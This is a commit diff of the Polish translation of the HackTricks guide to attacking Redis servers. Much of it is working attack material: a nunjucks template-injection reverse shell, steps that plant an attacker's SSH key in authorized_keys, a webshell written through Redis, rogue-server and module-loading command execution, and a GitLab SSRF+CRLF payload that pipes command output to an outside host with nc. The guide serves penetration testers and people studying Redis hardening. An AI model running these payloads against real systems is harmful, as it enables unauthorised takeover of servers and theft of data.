Translated ['network-services-pentesting/6379-pentesting-redis.md'] to p

This commit is contained in:
Translator 2024-02-14 23:26:09 +00:00
parent 117feb3142
commit 2698258033

View file

@ -2,36 +2,36 @@
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami nagród za błędy!
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Spostrzeżenia dotyczące hakerstwa**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
**Wgląd w Hakowanie**\
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakowania
**Aktualności na żywo o hakerstwie**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i spostrzeżeniom
**Aktualności z Hakowania na Żywo**\
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnościom i wglądom w czasie rzeczywistym
**Najnowsze ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
## Podstawowe informacje
Z [dokumentacji](https://redis.io/topics/introduction): Redis to otwarty (licencja BSD), w pamięci podręcznej **sklep struktur danych**, używany jako **baza danych**, pamięć podręczna i broker wiadomości).
Z [dokumentacji](https://redis.io/topics/introduction): Redis to otwarty system (licencja BSD), przechowujący dane w pamięci, używany jako baza danych, pamięć podręczna i broker wiadomości).
Domyślnie Redis używa protokołu opartego na tekście, ale należy pamiętać, że może również implementować **ssl/tls**. Dowiedz się, jak [uruchomić Redis z ssl/tls tutaj](https://fossies.org/linux/redis/TLS.md).
@ -42,7 +42,7 @@ PORT STATE SERVICE VERSION
```
## Automatyczne wyliczanie
Niektóre narzędzia automatyczne, które mogą pomóc w uzyskaniu informacji z instancji Redis:
Niektóre zautomatyzowane narzędzia, które mogą pomóc w uzyskaniu informacji z instancji redis:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
@ -51,40 +51,40 @@ msf> use auxiliary/scanner/redis/redis_server
### Baner
Redis to **protokół oparty na tekście**, możesz po prostu **wysłać polecenie przez gniazdo** i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem **ssl/tls** (ale to bardzo dziwne).
Redis to **protokół oparty na tekście**, możesz po prostu **wysłać polecenie przez gniazdo** i zwrócone wartości będą czytelne. Pamiętaj również, że Redis może działać z użyciem **ssl/tls** (ale jest to bardzo dziwne).
W przypadku standardowej instancji Redis możesz po prostu połączyć się za pomocą `nc` lub możesz również użyć `redis-cli`:
W zwykłej instancji Redis możesz po prostu połączyć się za pomocą `nc` lub możesz również użyć `redis-cli`:
```bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
**Pierwszą komendą**, którą możesz spróbować, jest **`info`**. Może ona zwrócić wynik z informacjami o instancji Redis lub coś podobnego może zostać zwrócone:
Pierwszą komendą, którą możesz spróbować, jest **`info`**. Może zwrócić wynik z informacjami o instancji Redis lub coś w tym rodzaju:
```
-NOAUTH Authentication required.
```
W tym ostatnim przypadku oznacza to, że **potrzebujesz prawidłowych danych uwierzytelniających**, aby uzyskać dostęp do instancji Redis.
W tym ostatnim przypadku oznacza to, że **potrzebujesz prawidłowych poświadczeń** dostępu do instancji Redis.
### Uwierzytelnianie Redis
### Autoryzacja Redis
**Domyślnie** Redis można uzyskać dostęp **bez danych uwierzytelniających**. Jednak można go **skonfigurować** tak, aby obsługiwał **tylko hasło lub nazwę użytkownika + hasło**.\
Możliwe jest **ustawienie hasła** w pliku _**redis.conf**_ za pomocą parametru `requirepass` **lub tymczasowo** do momentu ponownego uruchomienia usługi, łącząc się z nią i wykonując: `config set requirepass p@ss$12E45`.\
Można również skonfigurować **nazwę użytkownika** w parametrze `masteruser` w pliku _**redis.conf**_.
Domyślnie Redis można uzyskać dostęp **bez poświadczeń**. Jednakże można go **skonfigurować** tak, aby obsługiwał **tylko hasło lub nazwę użytkownika + hasło**.\
Możliwe jest **ustawienie hasła** w pliku _**redis.conf**_ za pomocą parametru `requirepass` **lub tymczasowo** do momentu ponownego uruchomienia usługi, łącząc się z nią i uruchamiając: `config set requirepass p@ss$12E45`.\
Dodatkowo, **nazwa użytkownika** może być skonfigurowana w parametrze `masteruser` w pliku _**redis.conf**_.
{% hint style="info" %}
Jeśli skonfigurowano tylko hasło, używana jest nazwa użytkownika "**default**".\
Należy również zauważyć, że **nie ma możliwości zewnętrznego sprawdzenia**, czy Redis został skonfigurowany tylko z hasłem czy z nazwą użytkownika + hasłem.
Zauważ również, że **nie ma sposobu, aby zewnętrznie sprawdzić**, czy Redis został skonfigurowany tylko z hasłem czy z nazwą użytkownika + hasłem.
{% endhint %}
W przypadkach takich jak ten będziesz **musiał znaleźć prawidłowe dane uwierzytelniające**, aby móc korzystać z Redis, więc możesz spróbować [**przełamać**](../generic-methodologies-and-resources/brute-force.md#redis) go.\
**Jeśli znajdziesz prawidłowe dane uwierzytelniające, musisz uwierzytelnić sesję** po nawiązaniu połączenia za pomocą polecenia:
W przypadkach takich jak ten, będziesz **musiał znaleźć prawidłowe poświadczenia** do interakcji z Redis, więc możesz spróbować [**przeprowadzić atak siłowy**](../generic-methodologies-and-resources/brute-force.md#redis).\
**Jeśli znajdziesz prawidłowe poświadczenia, musisz uwierzytelnić sesję** po nawiązaniu połączenia za pomocą polecenia:
```bash
AUTH <username> <password>
```
**Poprawne dane uwierzytelniające** zostaną odpowiedziane jako: `+OK`
**Poprawne dane uwierzytelniające** zostaną odpowiedziane: `+OK`
### **Weryfikacja po uwierzytelnieniu**
### **Uwierzytelniona enumeracja**
Jeśli serwer Redis zezwala na **anonimowe połączenia** lub jeśli uzyskano poprawne dane uwierzytelniające, można rozpocząć proces weryfikacji usługi za pomocą następujących **komend**:
Jeśli serwer Redis zezwala na **anonimowe połączenia** lub jeśli uzyskałeś poprawne dane uwierzytelniające, możesz rozpocząć proces enumeracji usługi, używając następujących **komend**:
```bash
INFO
[ ... Redis response with info ... ]
@ -93,29 +93,29 @@ client list
CONFIG GET *
[ ... Get config ... ]
```
**Inne polecenia Redis** można znaleźć [tutaj](https://redis.io/topics/data-types-intro) **i** [tutaj](https://lzone.de/cheat-sheet/Redis)**.**
**Inne polecenia Redis** [**znajdują się tutaj**](https://redis.io/topics/data-types-intro) **i** [**tutaj**](https://lzone.de/cheat-sheet/Redis)**.**
Należy zauważyć, że **polecenia Redis dla instancji mogą być zmieniane nazwą** lub usunięte w pliku _redis.conf_. Na przykład ta linia usunie polecenie FLUSHDB:
Zauważ, że **polecenia Redis instancji mogą być zmienione nazwane** lub usunięte w pliku _redis.conf_. Na przykład ta linia usunie polecenie FLUSHDB:
```
rename-command FLUSHDB ""
```
Więcej informacji na temat bezpiecznej konfiguracji usługi Redis można znaleźć tutaj: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Więcej informacji na temat bezpiecznej konfiguracji usługi Redis znajdziesz tutaj: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
Możesz również **monitorować w czasie rzeczywistym wykonywane polecenia Redis** za pomocą polecenia **`monitor`** lub uzyskać **25 najwolniejszych zapytań** za pomocą polecenia **`slowlog get 25`**
Możesz również **monitorować w czasie rzeczywistym wykonywane polecenia Redis** za pomocą polecenia **`monitor`** lub uzyskać **25 najwolniejszych zapytań** za pomocą **`slowlog get 25`**
Więcej interesujących informacji na temat innych poleceń Redis można znaleźć tutaj: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
Znajdź więcej interesujących informacji na temat innych poleceń Redis tutaj: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
### **Dumpowanie bazy danych**
Wewnątrz Redis **bazy danych są numerowane, zaczynając od 0**. Można sprawdzić, czy któraś z nich jest używana w wyniku polecenia `info` w sekcji "Keyspace":
Wewnątrz Redis **bazy danych są numerowane, zaczynając od 0**. Możesz sprawdzić, czy któraś jest używana w wyniku polecenia `info` w sekcji "Keyspace":
![](<../.gitbook/assets/image (315).png>)
Można również uzyskać wszystkie **keyspace'y** (bazy danych) za pomocą:
Możesz także uzyskać wszystkie **keyspaces** (bazy danych) za pomocą:
```
INFO keyspace
```
W tym przykładzie używane są **bazy danych 0 i 1**. **Baza danych 0 zawiera 4 klucze, a baza danych 1 zawiera 1**. Domyślnie Redis używa bazy danych 0. Aby na przykład wyeksportować bazę danych 1, musisz wykonać:
W tym przykładzie używane są **bazy danych 0 i 1**. **Baza danych 0 zawiera 4 klucze, a baza danych 1 zawiera 1**. Domyślnie Redis będzie używał bazy danych 0. Aby wyeksportować na przykład bazę danych 1, należy wykonać:
```bash
SELECT 1
[ ... Indicate the database ... ]
@ -124,39 +124,42 @@ KEYS *
GET <KEY>
[ ... Get Key ... ]
```
W przypadku otrzymania błędu `-WRONGTYPE Operacja na kluczu, który przechowuje wartość niewłaściwego typu` podczas uruchamiania `GET <KLUCZ>`, oznacza to, że klucz może być czymś innym niż ciąg znaków lub liczba całkowita i wymaga specjalnego operatora do wyświetlenia.
W przypadku otrzymania następującego błędu `-WRONGTYPE Operation against a key holding the wrong kind of value` podczas uruchamiania `GET <KEY>` oznacza to, że klucz może być czymś innym niż ciąg znaków lub liczba całkowita i wymaga specjalnego operatora do wyświetlenia go.
Aby poznać typ klucza, użyj polecenia `TYPE`, poniżej przedstawiono przykład dla kluczy listy i hasza.
```
Aby poznać typ klucza, użyj polecenia `TYPE`, przykład poniżej dla kluczy listy i hasza.
```bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]
```
**Zrzutuj bazę danych za pomocą npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **lub pythona** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
# If the type used is weird you can always do:
DUMP <key>
```
**Wyciek bazy danych za pomocą npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **lub pythona** [**redis-utils**](https://pypi.org/project/redis-utils/)
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
**Wgląd w hakerstwo**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
**Spojrzenie na Hacking**\
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hackowania
**Aktualności na żywo o hakerstwie**\
Bądź na bieżąco z szybkim tempem świata hakerstwa dzięki aktualnym wiadomościom i wglądom
**Aktualności z Hackingu na Żywo**\
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i spojrzeniom na żywo
**Najnowsze ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
## Redis RCE
### Interaktywna powłoka
### Interaktywna Powłoka
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) może automatycznie uzyskać interaktywną powłokę lub odwróconą powłokę w Redis (<=5.0.5).
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) może automatycznie uzyskać interaktywną powłokę lub powłokę odwróconą w Redis(<=5.0.5).
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
@ -174,13 +177,13 @@ OK
10.85.0.52:6379> save
OK
```
Jeśli wystąpi wyjątek dostępu do webshell, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie, pamiętając o przywróceniu bazy danych.
Jeśli wystąpi wyjątek dostępu do webshell, możesz opróżnić bazę danych po wykonaniu kopii zapasowej i spróbować ponownie, pamiętaj o przywróceniu bazy danych.
### Szablon Webshell
Podobnie jak w poprzedniej sekcji, możesz również nadpisać pewien plik szablonu HTML, który zostanie zinterpretowany przez silnik szablonów i uzyskać shell.
Podobnie jak w poprzednim rozdziale, możesz nadpisać pewien plik szablonu HTML, który zostanie zinterpretowany przez silnik szablonów i uzyskać dostęp do powłoki.
Na przykład, zgodnie z [**tym opisem**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), możesz zobaczyć, że atakujący wstrzyknął **rev shell w html** interpretowany przez **silnik szablonów nunjucks:**
Na przykład, patrząc na [**ten opis**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), możesz zobaczyć, że atakujący wstrzyknął **powłokę odwróconą** w plik HTML interpretowany przez silnik szablonów **nunjucks:**
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
@ -195,19 +198,19 @@ sh.stderr.pipe(client);
)()}}
```
{% hint style="warning" %}
Zauważ, że **wiele silników szablonów** przechowuje szablony w **pamięci**, więc nawet jeśli je nadpiszesz, nowy szablon **nie zostanie wykonany**. W takich przypadkach albo programista pozostawił aktywne automatyczne przeładowanie, albo musisz przeprowadzić atak DoS na usługę (i oczekiwać, że zostanie automatycznie uruchomiona ponownie).
Zauważ, że **kilka silników szablonów przechowuje** szablony w **pamięci**, więc nawet jeśli je nadpiszesz, nowy **nie zostanie wykonany**. W takich przypadkach albo programista pozostawił aktywne automatyczne przeładowanie, albo musisz przeprowadzić atak typu DoS na usługę (i oczekiwać, że zostanie ona automatycznie uruchomiona).
{% endhint %}
### SSH
Przykład [stąd](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
Proszę pamiętać, że wynik **`config get dir`** może ulec zmianie po wykonaniu innych poleceń wykorzystujących podatność. Sugeruję uruchomienie go jako pierwszego zaraz po zalogowaniu się do Redis. W wyniku polecenia **`config get dir`** można znaleźć **katalog domowy** użytkownika **redis** (zazwyczaj _/var/lib/redis_ lub _/home/redis/.ssh_), a znając to, wiesz, gdzie możesz zapisać plik `authenticated_users`, aby uzyskać dostęp przez ssh **z użytkownikiem redis**. Jeśli znasz katalog domowy innego ważnego użytkownika, w którym masz uprawnienia do zapisu, możesz go również wykorzystać:
Proszę pamiętać, że wynik polecenia **`config get dir`** może ulec zmianie po wykonaniu innych poleceń eksploitacyjnych. Zaleca się uruchomienie go jako pierwszego zaraz po zalogowaniu się do Redis. W wyniku polecenia **`config get dir`** możesz znaleźć **katalog domowy** użytkownika **redis** (zazwyczaj _/var/lib/redis_ lub _/home/redis/.ssh_), co pozwoli Ci wiedzieć, gdzie możesz zapisać plik `authenticated_users`, aby uzyskać dostęp za pomocą ssh **z użytkownikiem redis**. Jeśli znasz katalog domowy innego ważnego użytkownika, do którego masz uprawnienia do zapisu, możesz go również wykorzystać:
1. Wygeneruj parę kluczy publicznych i prywatnych ssh na swoim komputerze: **`ssh-keygen -t rsa`**
1. Wygeneruj parę kluczy publiczny-prywatny ssh na swoim komputerze: **`ssh-keygen -t rsa`**
2. Zapisz klucz publiczny do pliku: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. Zaimportuj plik do Redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Zapisz klucz publiczny w pliku **authorized\_keys** na serwerze Redis:
3. Zaimportuj plik do redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Zapisz klucz publiczny w pliku **authorized\_keys** na serwerze redis:
```
root@Urahara:~# redis-cli -h 10.85.0.52
@ -218,7 +221,7 @@ OK
10.85.0.52:6379> save
OK
```
5. Wreszcie, możesz **ssh** do **serwera Redis** z kluczem prywatnym: **ssh -i id\_rsa redis@10.85.0.52**
5. Wreszcie, możesz **ssh** na **serwer redis** z kluczem prywatnym: **ssh -i id\_rsa redis@10.85.0.52**
**Ta technika jest zautomatyzowana tutaj:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
@ -237,12 +240,12 @@ Ostatni przykład dotyczy Ubuntu, dla **Centos**, powyższe polecenie powinno by
Ta metoda może również być użyta do zarabiania bitcoinów: [yam](https://www.v2ex.com/t/286981#reply14)
### Ładowanie modułu Redis
### Załaduj moduł Redis
1. Postępując zgodnie z instrukcjami z [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand), możesz **skompilować moduł Redis do wykonywania dowolnych poleceń**.
2. Następnie potrzebujesz sposobu na **przesłanie skompilowanego** modułu.
3. **Załaduj przesłany moduł** w czasie działania za pomocą `MODULE LOAD /ścieżka/do/mymodule.so`
4. **Wyświetl załadowane moduły**, aby sprawdzić, czy został poprawnie załadowany: `MODULE LIST`
1. Postępując zgodnie z instrukcjami z [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) możesz **skompilować moduł redis do wykonywania dowolnych poleceń**.
2. Następnie potrzebujesz sposobu **wgrania skompilowanego** modułu
3. **Załaduj wgrany moduł** podczas działania za pomocą `MODULE LOAD /ścieżka/do/mymodule.so`
4. **Wyświetl załadowane moduły** aby sprawdzić, czy został poprawnie załadowany: `MODULE LIST`
5. **Wykonaj** **polecenia**:
```
@ -254,17 +257,17 @@ Ta metoda może również być użyta do zarabiania bitcoinów: [yam](https://ww
```
6. Wyłącz moduł w dowolnym momencie: `MODULE UNLOAD mymodule`
### Bypassowanie piaskownicy LUA
### Bypass bezpiecznej przestrzeni LUA
[Tutaj](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) możesz zobaczyć, że Redis używa polecenia **EVAL** do wykonywania **kodu Lua w piaskownicy**. W połączonym poście możesz zobaczyć, **jak go nadużyć** za pomocą funkcji **dofile**, ale [najwyraźniej](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) to już nie jest możliwe. W każdym razie, jeśli możesz **obejść piaskownicę Lua**, możesz **wykonywać dowolne** polecenia w systemie. Ponadto, z tego samego postu możesz zobaczyć kilka **opcji powodujących DoS**.
[Tutaj](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) możesz zobaczyć, że Redis używa polecenia **EVAL** do wykonania **kodu Lua w bezpiecznej przestrzeni**. W połączonym poście możesz zobaczyć, **jak to wykorzystać** używając funkcji **dofile**, ale [podobno](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) to już nie jest możliwe. W każdym razie, jeśli uda ci się **obejść bezpieczną przestrzeń Lua**, możesz **wykonywać dowolne** polecenia w systemie. Ponadto, z tego samego posta możesz zobaczyć kilka **opcji wywołania DoS**.
Niektóre **CVE do ucieczki z LUA**:
Niektóre **CVE umożliwiające ucieczkę z LUA**:
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
### Moduł Master-Slave
Operacje na głównym Redisie są automatycznie synchronizowane na Redisie podrzędnym, co oznacza, że możemy traktować podatny Redis jako Redis podrzędny, podłączony do głównego Redisu, który jest pod naszą kontrolą, a następnie możemy wprowadzać polecenia do naszego własnego Redisa.
Wszystkie operacje na głównym redisie są automatycznie synchronizowane z redisem podrzędnym, co oznacza, że możemy traktować podatny redis jako redis podrzędny, podłączony do głównego redisu, który jest pod naszą kontrolą, dzięki czemu możemy wprowadzać polecenia do naszego własnego redisu.
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -276,9 +279,9 @@ redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## SSRF rozmawiający z Redisem
## SSRF rozmawiając z Redisem
Jeśli możesz wysłać żądanie w **czystym tekście** do **Redis**, możesz z nim **komunikować się**, ponieważ Redis będzie odczytywał żądanie linia po linii i odpowiadał tylko na linie, które rozumie:
Jeśli możesz wysłać żądanie **czystego tekstu** do **Redis**, możesz z nim **komunikować się**, ponieważ Redis będzie czytał żądanie linijka po linijce i odpowiadał tylko błędami na linie, których nie rozumie:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
@ -288,50 +291,50 @@ Jeśli możesz wysłać żądanie w **czystym tekście** do **Redis**, możesz z
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
Dlatego jeśli znajdziesz podatność **SSRF** na stronie internetowej i możesz **kontrolować** niektóre **nagłówki** (może za pomocą podatności CRLF) lub **parametry POST**, będziesz mógł wysyłać dowolne polecenia do Redis.
Dlatego jeśli znajdziesz **lukę SSRF** na stronie internetowej i będziesz mógł **kontrolować** niektóre **nagłówki** (być może za pomocą luki CRLF) lub **parametry POST**, będziesz mógł wysyłać dowolne polecenia do Redis.
### Przykład: Gitlab SSRF + CRLF do Shell
### Przykład: Gitlab SSRF + CRLF na Shell
W wersji **Gitlab11.4.7** odkryto podatność **SSRF** oraz **CRLF**. Podatność **SSRF** występowała w funkcji **importowania projektu z adresu URL** podczas tworzenia nowego projektu i umożliwiała dostęp do dowolnych adresów IP w formie \[0:0:0:0:0:ffff:127.0.0.1] (co spowoduje dostęp do 127.0.0.1), a podatność **CRLF** była wykorzystywana poprzez dodanie znaków %0D%0A do **adresu URL**.
W **Gitlab11.4.7** odkryto **lukę SSRF** oraz **CRLF**. **Luka SSRF** występowała w **funkcji importowania projektu z adresu URL** podczas tworzenia nowego projektu i pozwalała na dostęp do dowolnych adresów IP w formie \[0:0:0:0:0:ffff:127.0.0.1] (co pozwala na dostęp do 127.0.0.1), a **luka CRLF** była wykorzystywana poprzez dodanie znaków **%0D%0A** do **adresu URL**.
Dlatego możliwe było **wykorzystanie tych podatności do komunikacji z instancją Redis**, która **zarządza kolejkami** w **gitlabie** i wykorzystanie tych kolejek do **wykonania kodu**. Payload do wykorzystania kolejki Redis to:
Dlatego było możliwe **wykorzystanie tych luk do komunikacji z instancją Redis**, która **zarządza kolejkami** z **gitlab** i nadużyć tych kolejek do **uzyskania wykonania kodu**. Payload nadużycia kolejki Redis to:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
A następnie **zakoduj** żądanie **wykorzystujące SSRF** i **CRLF**, aby wykonać polecenie `whoami` i przesłać wynik za pomocą `nc`. Oto to:
A żądanie **kodowane URL** wykorzystujące **SSRF** i **CRLF** do wykonania polecenia `whoami` i przesłania wyniku za pomocą `nc` to:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_Z jakiegoś powodu (jak dla autora_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) wykorzystanie działało z użyciem schematu `git`, a nie schematu `http`._
_Dlaczegoś (jak autor_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _skąd pochodzi ta informacja) eksploatacja działała ze schematem `git`, a nie ze schematem `http`._
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami luk za nagrody!
**Wgląd w Hacking**\
Zajmuj się treściami, które zagłębiają się w emocje i wyzwania związane z hakowaniem
Zanurz się w treściach, które zgłębiają emocje i wyzwania hackowania
**Aktualności na żywo o Hackingu**\
Bądź na bieżąco z szybkim tempem świata hakowania dzięki aktualnym wiadomościom i wglądom
**Aktualności z Hackingu na Żywo**\
Bądź na bieżąco z szybkim tempem świata hackowania dzięki aktualnościom i wglądom na żywo
**Najnowsze Ogłoszenia**\
Bądź na bieżąco z najnowszymi programami bug bounty i ważnymi aktualizacjami platformy
Bądź na bieżąco z najnowszymi programami nagród za znalezienie luk i istotnymi aktualizacjami platform
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć **reklamę swojej firmy w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
